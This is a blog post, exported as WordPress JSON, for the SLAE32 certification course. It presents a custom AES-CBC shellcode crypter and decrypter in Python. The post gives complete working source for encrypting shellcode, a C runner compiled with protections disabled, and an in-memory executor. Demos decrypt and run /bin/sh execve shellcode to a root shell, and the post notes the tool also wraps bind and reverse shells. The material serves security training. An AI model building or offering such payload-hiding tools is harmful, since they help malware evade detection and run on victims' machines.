{"id":294,"date":"2022-05-15T20:53:13","date_gmt":"2022-05-15T20:53:13","guid":{"rendered":"https:\/\/jacklgmcbride.co.uk\/blog\/?p=294"},"modified":"2023-10-06T10:13:03","modified_gmt":"2023-10-06T10:13:03","slug":"slae32-assignment-7-custom-crypter","status":"publish","type":"post","link":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/2022\/05\/15\/slae32-assignment-7-custom-crypter\/","title":{"rendered":"SLAE32 Assignment #7: Custom Crypter"},"content":{"rendered":"\n<p>In this blog post, we will be covering an implementation of a custom crypter using AES encryption.<\/p>\n\n\n\n<p>This post follows on in our blog series created for the <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\">SLAE32<\/a> certification course provided by Pentester Academy.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Overview<\/h2>\n\n\n\n<p>A crypter is a piece of code which can be used to encrypt a file, executable or shellcode buffer. Although this blog series mainly focuses on writing assembly code, powerful crypto techniques such as RC4 and AES require a lot of assembly code, so we instead opt to go about writing a custom crypter in a higher level language, such as Python.<\/p>\n\n\n\n<p>In this blog post, we have implemented a custom AES crypter using the AES-CBC mode implementation provided in the <a href=\"https:\/\/pypi.python.org\/pypi\/pycrypto\">PyCrypto<\/a> module. To begin, we briefly cover AES basics, and look at some simple examples on how we can encrypt and decrypt using AES and the PyCrypto library.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Working with AES<\/h3>\n\n\n\n<p>We briefly cover how AES encryption is performed below, covering the key usage, initialisation vector generation and how to encrypt and decrypt a simple message.<\/p>\n\n\n\n<p>AES, or <strong>advanced encryption standard<\/strong> is a symmetric cipher which is considered to be the current industry standard for encryption as of the time this post was written. The encryption process is relatively easy to understand, straight forward to implement, and offers fast encryption and decryption times.<\/p>\n\n\n\n<p>There are three types of key lengths of AES encryption keys:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>128-bit key length: 3.4 x 1038<\/strong><\/li>\n\n\n\n<li><strong>192-bit key length: 6.2 x 1057<\/strong><\/li>\n\n\n\n<li><strong>256-bit key length: 1.1 x 1077<\/strong><\/li>\n<\/ul>\n\n\n\n<p>In this blog post, we will be using a key length of 128-bits (16 bytes).<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Key Generation<\/h4>\n\n\n\n<p>AES encryption requires a strong 16 byte key. Generally, the stronger the key, the stronger the encryption, so it is best to use a key with sufficient entropy.<\/p>\n\n\n\n<p>To show how we can perform encryption and decryption using Python, for demonstration purposes we will use a simple key value of 'pentesteracademy'.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Initialisation Vector<\/h4>\n\n\n\n<p>As we are using AES in Cipher Block Chaining (CBC) mode, we need to specify an initialisation vector (IV). In this mode, the plaintext is divided into equal-sized blocks, each of which are equal to the key length (16 bytes) in size, with additional padding for the final block where needed.<\/p>\n\n\n\n<p>The purpose of the IV is to produce different encrypted data each time the encryption routine is run, so that an attacker cannot easily compare encrypted blocks and use cryptanalysis to determine message contents. As such, the IV is usually a randomly seeded 16-byte value.<\/p>\n\n\n\n<p>The below <a href=\"https:\/\/www.highgo.ca\/2019\/08\/08\/the-difference-in-five-modes-in-the-aes-encryption-algorithm\/\">image<\/a> structures how the CBC mode works.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220515083912.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The initialisation vector needs to be transmitted to the receiver for decryption, but doesn't need to be encrypted. Usually this is handled by packing it into the first 16 bytes of the encrypted shellcode buffer.<\/p>\n\n\n\n<p>The below python code sets up our static key, 16-byte initialisation vector, and the plaintext message we want to encrypt. In our custom crypter implementation, the IV is randomly generated as per security best practices.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n&gt;&gt;&gt; from Crypto.Cipher import AES\n\n&gt;&gt;&gt; key = 'pentesteracademy'\n\n&gt;&gt;&gt; iv = bytes('IVIVIVIVIVI12345', encoding='utf-8')\n\n&gt;&gt;&gt; message = 'hello world 1234'\n<\/pre><\/div>\n\n\n<h4 class=\"wp-block-heading\">AES Encryption<\/h4>\n\n\n\n<p>We now have everything we need to perform basic encryption with AES. In the case of our simple example, our plaintext buffer 'hello world 1234' is exactly 16-bytes long. As a result, we do not need to pad it.<\/p>\n\n\n\n<p>We prepend the IV value to the encrypted buffer, so that the decryption routine can extract it and use it to decrypt the buffer.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n&gt;&gt;&gt; from Crypto.Cipher import AES\n\n&gt;&gt;&gt; key = 'pentesteracademy'\n\n&gt;&gt;&gt; iv = bytes('IVIVIVIVIVI12345', encoding='utf-8')\n\n&gt;&gt;&gt; message = 'hello world 1234'\n\n&gt;&gt;&gt; aes = AES.new(key, AES.MODE_CBC, iv)\n\n&gt;&gt;&gt; encrypted = iv + aes.encrypt(message)\n<\/pre><\/div>\n\n\n<h4 class=\"wp-block-heading\">AES Decryption<\/h4>\n\n\n\n<p>To decrypt, we need to supply the key that the data was originally encrypted with. This key needs to be sent to the receiver via a secure channel so as to avoid compromising the confidentiality of the message.<\/p>\n\n\n\n<p>In addition to the key, the receiver also needs the initialisation vector. As covered previously, this value was prepended to the encrypted shellcode buffer as the first 16-bytes. As such, the receiver can simply extract the IV as it is sent unencrypted.<\/p>\n\n\n\n<p>Below, we demonstrate how the previous encrypted shellcode can be simply decrypted. When printing the decrypted message, we cut the first 16 bytes to just return the original message without the prepended IV.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n&gt;&gt;&gt; print(encrypted)\nb'IVIVIVIVIVI12345\\x97\\xcez\\x0c\\x05,#\\xda\\xe8\\xean-?\/\\xe7h'\n\ndecrypted = aes.decrypt(encrypted)\n\n&gt;&gt;&gt; print(decrypted)\nb'J\\x0f\\xe0O\\xe6\\xd4\\xe8\\xd6$\\x91=M\\xc5D\\r\\x06hello world 1234'\n\n&gt;&gt;&gt; print(decrypted&#x5B;16:])\nb'hello world 1234'\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Custom Crypter<\/h3>\n\n\n\n<p>Next, we cover our Python implementation of a custom AES shellcode crypter.<\/p>\n\n\n\n<p>Our crypter works by simply applying AES encryption to a shellcode buffer using a given encryption key. Both the shellcode and encryption key are passed as command-line arguments to the script.<\/p>\n\n\n\n<p>The usage instructions for the <code>custom_crypter.py<\/code> script are as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nusage: custom_crypter.py &#x5B;-h] &#x5B;-k KEY] &#x5B;-p PAYLOAD]\n\nCustom Linux x86 shellcode crypter using AES-CBC\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -k KEY, --key KEY     16-byte encryption key to encrypt the shellcode payload\n  -p PAYLOAD, --payload PAYLOAD\n                        Shellcode payload to encrypt\n<\/pre><\/div>\n\n\n<p>The crypter optionally takes a user provided 16-byte key, or randomly generates one using the gen_key function. This key is subsequently used to encrypt the shellcode.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\ndef gen_key():\n        # Generate randomised key\n        key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))\n        return key\n<\/pre><\/div>\n\n\n<p>After providing a plaintext payload, the script prints the shellcode length, number of padding bytes required, and the encryption key used. The encrypted shellcode buffer is also printed.<\/p>\n\n\n\n<p>Using this script, it is possible to perform AES encryption on raw and encoded shellcode payloads. The script was tested using both XOR encoded and raw payloads to demonstrate how encoding and encryption methods can be chained.<\/p>\n\n\n\n<p>The following example demonstrates how to encrypt a simple \/bin\/sh execve shellcode payload using a randomly generated encryption key:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\npython3 custom_crypter.py -p &quot;\\x31\\xc9\\xf7\\xe1\\xb0\\x0b\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80&quot;\n\n&#x5B;*] Shellcode length: 21 bytes (+ 11 bytes padding)\n\n&#x5B;*] Key: RN6cNsDqmSfXCc1s\n\n&#x5B;*] Plaintext Shellcode: &quot;\\x31\\xc9\\xf7\\xe1\\xb0\\x0b\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80&quot;\n\n&#x5B;+] Encrypted Shellcode: &quot;\\x38\\x77\\x30\\x50\\x46\\x50\\x44\\x45\\x4b\\x5a\\x74\\x70\\x38\\x34\\x36\\x4c\\x95\\x77\\xb9\\x38\\x98\\x4d\\x85\\x6f\\xae\\x10\\x19\\x69\\x55\\xa6\\xa1\\x97\\x17\\x1e\\xf3\\x89\\x06\\x20\\xf6\\xfc\\xce\\xf8\\x67\\xb9\\x52\\x51\\x80\\x01\\x33\\x61\\x84\\x32\\x3d\\xe8\\xf2\\x61\\x52\\xa7\\xc7\\x97\\x63\\x6c\\x2d\\x48\\xad\\x8b\\x07\\xf0\\xad\\xfc\\xd1\\x18\\xd5\\x05\\x63\\x33\\x20\\xe1\\xd8\\xa6\\xc5\\x64\\x58\\xef\\xb4\\x1e\\x9a\\x2a\\xd1\\x3b\\x1b\\x23\\x06\\x95\\x2d\\x01\\x8d\\x87\\x17\\xbf\\x49\\xaf\\x94\\x02\\x7b\\x62\\xac\\xc8\\xfe\\xde\\x95\\xc6\\x9c\\x49\\x85\\x7d\\x9a\\x32\\xe7\\x8f\\xd8\\xcc\\xcc\\x1c\\x2c\\x9f\\xf0\\xb9\\xbe\\xb0\\x5b\\x0b\\x4a\\x30\\x02\\x0f\\x0e\\xf0\\x65\\x07\\xf4\\x0d\\x74\\x02&quot;\n<\/pre><\/div>\n\n\n<p>The custom crypter script, <code>custom_crypter.py<\/code> is written as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/python3\nfrom Crypto.Cipher import AES\nimport argparse\nimport random, string\nimport sys\n\ndef encrypt(key, shellcode):\n        # Initialisation vector\n        iv = ''.join(random.choices(string.ascii_letters + string.digits, k=16))\n        iv = bytes(iv, encoding='utf-8')\n\n        # Set up AES CBC encryption scheme using key and iv\n        aes = AES.new(key, AES.MODE_CBC, iv)\n\n        # Calculate number of padding bytes needed\n        l = len(shellcode)\n        r = l % 16\n        offset = 16 - r\n\n        print('\\n&#x5B;*] Shellcode length: %d bytes (+ %d bytes padding)' % (l,offset))\n\n        print('\\n&#x5B;*] Key: %s' % key)\n\n        plain_sc = ''\n        for i in bytearray(shellcode):\n                plain_sc += '\\\\x%02x' % i\n\n        print('\\n&#x5B;*] Plaintext Shellcode: &quot;%s&quot;' % plain_sc)\n\n        # Pad shellcode with 'A' characters till size is divisible by 16\n        while len(shellcode) % 16 != 0:\n                shellcode = shellcode + bytes(&quot;A&quot;, encoding='utf-8')\n\n        plain_sc = ''\n        for i in bytearray(shellcode):\n                plain_sc += '\\\\x%02x' % i\n\n        # Encrypt shellcode with IV prepended\n        sc = iv + aes.encrypt(plain_sc)\n\n        encrypted = ''\n        for i in bytearray(sc):\n                encrypted += '\\\\x%02x' % i\n\n        return encrypted\n\ndef gen_key():\n        # Generate randomised 16-byte key\n        key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))\n        return key\n\ndef main():\n        # Process arguments\n        parser = argparse.ArgumentParser(description='Custom Linux x86 shellcode crypter using AES-CBC')\n        parser.add_argument('-k', '--key', type=str, help='16-byte encryption key to encrypt the shellcode payload', default=gen_key())\n        parser.add_argument('-p', '--payload', type=str, help='Shellcode payload to encrypt')\n        args = parser.parse_args()\n\n        if len(sys.argv) == 1:\n                parser.print_help()\n                sys.exit()\n\n        # Convert string shellcode into byte array\n        shellcode = args.payload\n        shellcode = shellcode.replace('\\\\x', '')\n        shellcode = bytes.fromhex(shellcode)\n\n        if len(args.key) % 16 != 0:\n                print(&quot;&#x5B;-] Key must be 16 bytes long. Exiting.&quot;)\n                sys.exit(1)\n\n        # Encrypt and print the shellcode\n        encrypted = encrypt(args.key, shellcode)\n        print('\\n&#x5B;+] Encrypted Shellcode: &quot;%s&quot;\\n' % encrypted)\n\nif __name__ == &quot;__main__&quot;:\n        main()\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Custom Decrypter<\/h3>\n\n\n\n<p>To reverse the AES encryption routine, <code>custom_decrypter.py<\/code> was written. This script works by simply processing the AES decryption key and encrypted shellcode from the user, extracting the IV from the initial 16-bytes of shellcode and performing the decryption routine.<\/p>\n\n\n\n<p><strong>Note:<\/strong> The encryption key is displayed to the user following the encryption routine run using <code>custom_crypter.py<\/code>, so it is at the discretion of the user to choose how to transmit it to the receiver for decryption purposes.<\/p>\n\n\n\n<p>The usage instructions for the <code>custom_decrypter.py<\/code> script are as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nusage: custom_decrypter.py &#x5B;-h] &#x5B;-k KEY] &#x5B;-p PAYLOAD] &#x5B;-a {compile,run}] &#x5B;-s]\n\nCustom Linux x86 shellcode decrypter using AES-CBC\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -k KEY, --key KEY     16-byte decryption key to decrypt the shellcode payload\n  -p PAYLOAD, --payload PAYLOAD\n                        Shellcode payload to decrypt\n  -a {compile,run}, --action {compile,run}\n                        Choose to compile or execute the decrypted shellcode in memory\n  -s, --shellcode       Output shellcode only\n<\/pre><\/div>\n\n\n<p>As with the <code>custom_crypter.py<\/code> implementation, the user may supply an encrypted shellcode buffer as well as key used to perform encryption. As AES is a <strong>symmetric<\/strong> cipher, the encryption key is also used to perform decryption.<\/p>\n\n\n\n<p>In addition, the user must supply an <strong>action<\/strong> for the script to perform, out of a choice of <strong>compile<\/strong> or <strong>run<\/strong>.<\/p>\n\n\n\n<p>The <strong>compile<\/strong> action takes the shellcode buffer following the decryption routine, inserts it into a <strong>C<\/strong> skeleton program at the <strong>SHELLCODE<\/strong> marker, and compiles it into a binary. When executed, the program will run the decrypted shellcode buffer.<\/p>\n\n\n\n<p>See below the C skeleton program:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n\nunsigned char code&#x5B;] = \\\n&quot;SHELLCODE&quot;;\n\nint main()\n{\n\n        printf(&quot;Shellcode Length:  %d\\n&quot;, strlen(code));\n\n        int (*ret)() = (int(*)())code;\n\n        ret();\n\n}\n<\/pre><\/div>\n\n\n<p>The <strong>run<\/strong> action instead takes the decrypted shellcode buffer and executes it directly in memory.<\/p>\n\n\n\n<p>The custom decrypter script, <code>custom_decrypter.py<\/code> is written as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/python3\nfrom Crypto.Cipher import AES\nimport os\nimport sys\nimport argparse\nfrom ctypes import *\n\ndef decrypt(key, shellcode):\n        # Obtain iv from first 16 bytes of ciphertext\n        iv = shellcode&#x5B;0:16].decode('utf-8')\n\n        # Set up AES for decryption routine\n        aes = AES.new(key, AES.MODE_CBC, iv)\n\n        cipher = &quot;&quot;\n        for i in bytearray(shellcode):\n                cipher += '\\\\x%02x' % i\n\n        # Decrypt shellcode\n        plain = aes.decrypt(bytes(shellcode))\n\n        try:\n                plaintext = plain&#x5B;16:].decode('utf-8')\n        except:\n                print('\\n&#x5B;-] Incorrect decryption key provided. Exiting.')\n                sys.exit(1)\n\n        return plaintext\n\ndef compile_sc(shellcode):\n        print('\\n&#x5B;*] Compiling shellcode runner...')\n        shellcode_file = open(&quot;shellcode.c&quot;, &quot;rt&quot;)\n        data = shellcode_file.read()\n        data = data.replace(&quot;SHELLCODE&quot;, shellcode)\n\n        shellcode_file.close()\n        shellcode_file = open(&quot;tmp.c&quot;, &quot;wt&quot;)\n        shellcode_file.write(data)\n        shellcode_file.close()\n\n        os.system('gcc -fno-stack-protector -z execstack tmp.c -o shellcode')\n\n        print('\\n&#x5B;+] Shellcode compiled. Execute .\/shellcode to run') \n\ndef run_sc(shellcode_decrypted):\n        print('\\n&#x5B;*] Executing decrypted shellcode in memory...')\n        # Do all the memory allocation stuff\n        shellcode_decrypted = shellcode_decrypted.replace('\\\\x', '')\n        shellcode_decrypted = bytes.fromhex(shellcode_decrypted)\n\n        shellcode = create_string_buffer(shellcode_decrypted)\n        run = cast(shellcode, CFUNCTYPE(None))\n\n        libc = CDLL('libc.so.6')\n        pagesize = libc.getpagesize()\n        address = cast(run, c_void_p).value\n        address_page = (address \/\/ pagesize) * pagesize\n\n        for page_start in range(address_page, address+len(shellcode_decrypted), pagesize):\n                assert libc.mprotect(page_start, pagesize, 0x7) == 0\n        run()\n\ndef cleanup():\n        # Remove any files created following compilation\n        print('\\n&#x5B;*] Performing cleanup!')\n        os.system('rm tmp*')\n\ndef main():\n        # Process arguments\n        parser = argparse.ArgumentParser(description='Custom Linux x86 shellcode decrypter using AES-CBC')\n        action_choices = &#x5B;'compile', 'run']\n        parser.add_argument('-k', '--key', type=str, help='16-byte decryption key to decrypt the shellcode payload')\n        parser.add_argument('-p', '--payload', type=str, help='Shellcode payload to decrypt')\n        parser.add_argument('-a', '--action', type=str, help='Choose to compile or execute the decrypted shellcode in memory', choices=action_choices)\n        parser.add_argument('-s', '--shellcode', help='Output shellcode only', action='store_true')\n        args = parser.parse_args()\n\n        if len(sys.argv) == 1:\n                parser.print_help()\n                sys.exit()\n\n        # Convert encrypted string shellcode into byte array\n        shellcode = args.payload\n        shellcode = shellcode.replace('\\\\x', '')\n        shellcode = bytes.fromhex(shellcode)\n\n        # Decrypt and print the shellcode\n        decrypted = decrypt(args.key, shellcode)\n        print('\\n&#x5B;+] Decrypted Shellcode: &quot;%s&quot;\\n' % decrypted)\n\n        # Based on command-line arguments, either compile the shellcode\n        # Into an executable, or run it in memory\n        if args.action == 'compile':\n                compile_sc(decrypted)\n        elif args.action == 'run':\n                run_sc(decrypted)\n\n        # Perform cleanup of leftover files\n        cleanup()\n        print('\\n&#x5B;*] Exiting.')\n\nif __name__ == &quot;__main__&quot;:\n        main()\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Example Usage<\/h2>\n\n\n\n<p>Next, we demonstrate how the crypter and decrypter scripts can be used to perform AES encryption on a simple <strong>\/bin\/sh<\/strong> shellcode payload.<\/p>\n\n\n\n<p>To begin, the <code>custom_crypter.py<\/code> script is used to encrypt the user-supplied payload:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\npython3 custom_crypter.py -p &quot;\\x31\\xc9\\xf7\\xe1\\xb0\\x0b\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80&quot;\n\n&#x5B;*] Shellcode length: 21 bytes (+ 11 bytes padding)\n\n&#x5B;*] Key: fvt2tdG57y8Ru6Kj\n\n&#x5B;*] Plaintext Shellcode: &quot;\\x31\\xc9\\xf7\\xe1\\xb0\\x0b\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80&quot;\n\n&#x5B;+] Encrypted Shellcode: &quot;\\x37\\x6a\\x76\\x30\\x42\\x34\\x6a\\x58\\x48\\x77\\x56\\x45\\x44\\x70\\x44\\x50\\x45\\x8e\\xd2\\x0d\\x42\\xba\\xce\\xca\\x6a\\x97\\x74\\x28\\x43\\xa2\\x30\\x71\\x06\\x34\\x6e\\xdf\\x91\\xec\\xa5\\x2b\\x23\\xa5\\xaa\\xcf\\xe6\\x63\\xa7\\x5f\\x91\\xde\\x9a\\xde\\x2a\\x28\\x62\\x53\\x26\\x2b\\xd1\\x59\\xca\\x58\\xdf\\x32\\x75\\xa6\\x3f\\xdb\\x62\\xe8\\x04\\x8e\\x51\\xee\\xf4\\xdd\\xb5\\x63\\x1c\\xff\\x00\\x28\\xb9\\xdd\\x5b\\xc7\\x01\\xf5\\xf0\\x4a\\xb6\\x6c\\x9d\\x64\\xf3\\x36\\x12\\x7e\\xf4\\xe4\\x08\\x51\\x03\\x6e\\x52\\x3f\\xd0\\x1c\\x01\\xf2\\xd6\\x72\\x19\\xc2\\x98\\x98\\xd5\\x6a\\x6f\\xfe\\xf1\\xf2\\x4d\\xd4\\xda\\xd8\\xb4\\xee\\x91\\x52\\xf8\\x09\\xd4\\xdb\\x0c\\xa2\\x7c\\xe8\\x6e\\x4b\\x73\\x14\\x6d\\xac&quot;\n<\/pre><\/div>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220515163930.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Next, the user takes note of the encryption key and the encrypted shellcode buffer which was previously printed to the screen, and supplies them as arguments to the <code>custom_decrypter.py<\/code> script.<\/p>\n\n\n\n<p>Below, we demonstrate this along with the <strong>run<\/strong> action to execute the shellcode directly in memory.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\npython3 custom_decrypter.py -k fvt2tdG57y8Ru6Kj -p &quot;\\x37\\x6a\\x76\\x30\\x42\\x34\\x6a\\x58\\x48\\x77\\x56\\x45\\x44\\x70\\x44\\x50\\x45\\x8e\\xd2\\x0d\\x42\\xba\\xce\\xca\\x6a\\x97\\x74\\x28\\x43\\xa2\\x30\\x71\\x06\\x34\\x6e\\xdf\\x91\\xec\\xa5\\x2b\\x23\\xa5\\xaa\\xcf\\xe6\\x63\\xa7\\x5f\\x91\\xde\\x9a\\xde\\x2a\\x28\\x62\\x53\\x26\\x2b\\xd1\\x59\\xca\\x58\\xdf\\x32\\x75\\xa6\\x3f\\xdb\\x62\\xe8\\x04\\x8e\\x51\\xee\\xf4\\xdd\\xb5\\x63\\x1c\\xff\\x00\\x28\\xb9\\xdd\\x5b\\xc7\\x01\\xf5\\xf0\\x4a\\xb6\\x6c\\x9d\\x64\\xf3\\x36\\x12\\x7e\\xf4\\xe4\\x08\\x51\\x03\\x6e\\x52\\x3f\\xd0\\x1c\\x01\\xf2\\xd6\\x72\\x19\\xc2\\x98\\x98\\xd5\\x6a\\x6f\\xfe\\xf1\\xf2\\x4d\\xd4\\xda\\xd8\\xb4\\xee\\x91\\x52\\xf8\\x09\\xd4\\xdb\\x0c\\xa2\\x7c\\xe8\\x6e\\x4b\\x73\\x14\\x6d\\xac&quot; -a run\n\n&#x5B;+] Decrypted Shellcode: &quot;\\x31\\xc9\\xf7\\xe1\\xb0\\x0b\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41&quot;\n\n&#x5B;*] Executing decrypted shellcode in memory...\n# hostname\nkali\n# whoami\nroot\n# id\nuid=0(root) gid=0(root) groups=0(root)\n#\n<\/pre><\/div>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220515164153.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Similarly, the <strong>compile<\/strong> option can be chosen, which generates a shellcode binary.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\npython3 custom_decrypter.py -k fvt2tdG57y8Ru6Kj -p &quot;\\x37\\x6a\\x76\\x30\\x42\\x34\\x6a\\x58\\x48\\x77\\x56\\x45\\x44\\x70\\x44\\x50\\x45\\x8e\\xd2\\x0d\\x42\\xba\\xce\\xca\\x6a\\x97\\x74\\x28\\x43\\xa2\\x30\\x71\\x06\\x34\\x6e\\xdf\\x91\\xec\\xa5\\x2b\\x23\\xa5\\xaa\\xcf\\xe6\\x63\\xa7\\x5f\\x91\\xde\\x9a\\xde\\x2a\\x28\\x62\\x53\\x26\\x2b\\xd1\\x59\\xca\\x58\\xdf\\x32\\x75\\xa6\\x3f\\xdb\\x62\\xe8\\x04\\x8e\\x51\\xee\\xf4\\xdd\\xb5\\x63\\x1c\\xff\\x00\\x28\\xb9\\xdd\\x5b\\xc7\\x01\\xf5\\xf0\\x4a\\xb6\\x6c\\x9d\\x64\\xf3\\x36\\x12\\x7e\\xf4\\xe4\\x08\\x51\\x03\\x6e\\x52\\x3f\\xd0\\x1c\\x01\\xf2\\xd6\\x72\\x19\\xc2\\x98\\x98\\xd5\\x6a\\x6f\\xfe\\xf1\\xf2\\x4d\\xd4\\xda\\xd8\\xb4\\xee\\x91\\x52\\xf8\\x09\\xd4\\xdb\\x0c\\xa2\\x7c\\xe8\\x6e\\x4b\\x73\\x14\\x6d\\xac&quot; -a compile\n\n&#x5B;+] Decrypted Shellcode: &quot;\\x31\\xc9\\xf7\\xe1\\xb0\\x0b\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41&quot;\n\n&#x5B;*] Compiling shellcode runner...\n\n&#x5B;+] Shellcode compiled. Execute .\/shellcode to run\n\n&#x5B;*] Performing cleanup!\n\n&#x5B;*] Exiting.\n\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 7: Custom Crypter]\n\u2514\u2500# .\/shellcode \nShellcode Length:  32\n# hostname\nkali\n# whoami\nroot\n# id\nuid=0(root) gid=0(root) groups=0(root)\n#\n<\/pre><\/div>\n\n\n<p>Upon entering an incorrect password, the script displays an error and exits as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\npython3 custom_decrypter.py -k pentesteracademy -p &quot;\\x37\\x6a\\x76\\x30\\x42\\x34\\x6a\\x58\\x48\\x77\\x56\\x45\\x44\\x70\\x44\\x50\\x45\\x8e\\xd2\\x0d\\x42\\xba\\xce\\xca\\x6a\\x97\\x74\\x28\\x43\\xa2\\x30\\x71\\x06\\x34\\x6e\\xdf\\x91\\xec\\xa5\\x2b\\x23\\xa5\\xaa\\xcf\\xe6\\x63\\xa7\\x5f\\x91\\xde\\x9a\\xde\\x2a\\x28\\x62\\x53\\x26\\x2b\\xd1\\x59\\xca\\x58\\xdf\\x32\\x75\\xa6\\x3f\\xdb\\x62\\xe8\\x04\\x8e\\x51\\xee\\xf4\\xdd\\xb5\\x63\\x1c\\xff\\x00\\x28\\xb9\\xdd\\x5b\\xc7\\x01\\xf5\\xf0\\x4a\\xb6\\x6c\\x9d\\x64\\xf3\\x36\\x12\\x7e\\xf4\\xe4\\x08\\x51\\x03\\x6e\\x52\\x3f\\xd0\\x1c\\x01\\xf2\\xd6\\x72\\x19\\xc2\\x98\\x98\\xd5\\x6a\\x6f\\xfe\\xf1\\xf2\\x4d\\xd4\\xda\\xd8\\xb4\\xee\\x91\\x52\\xf8\\x09\\xd4\\xdb\\x0c\\xa2\\x7c\\xe8\\x6e\\x4b\\x73\\x14\\x6d\\xac&quot; -a compile\n\n&#x5B;-] Incorrect decryption key provided. Exiting.\n<\/pre><\/div>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220515164458.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Above we have performed testing using a simple <strong>\/bin\/sh<\/strong> example, our custom crypter is also compatible with other payloads, such as a <strong>bind<\/strong> or <strong>reverse<\/strong> shell.<\/p>\n\n\n\n<p>Bind shell:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220515173540.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Reverse shell:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/05\/Pasted-image-20220515173823.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>This concludes our analysis on our custom crypter. In place of executing <strong>\/bin\/sh<\/strong>, the payload can be flexibly replaced with a TCP <strong>bind<\/strong> or <strong>reverse<\/strong> shell as demonstrated above. More information on our implementations of this can be found in blog posts 1 